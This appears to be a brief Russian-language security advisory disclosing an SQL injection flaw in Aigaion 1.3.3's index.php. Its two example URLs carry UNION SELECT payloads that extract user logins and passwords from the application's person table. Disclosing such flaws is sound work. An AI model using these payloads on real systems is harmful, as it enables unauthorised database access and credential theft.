Программа: Aigaion 1.3.3

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «page» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Пример:

http://www.website.com/index.php?page=topic&topic_id=9999/* */UNION/**/SELECT/**/ALL/**/null,null, CONCAT(login,CHAR(58),password),null/**/FROM/**/person/* */WHERE/**/ID=1--

http://www.website.com/index.php? page=topic&topic_id=9999/**/UNION/**/SELECT/* */ALL/**/null,null,password,null/**/FROM/**/person--

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии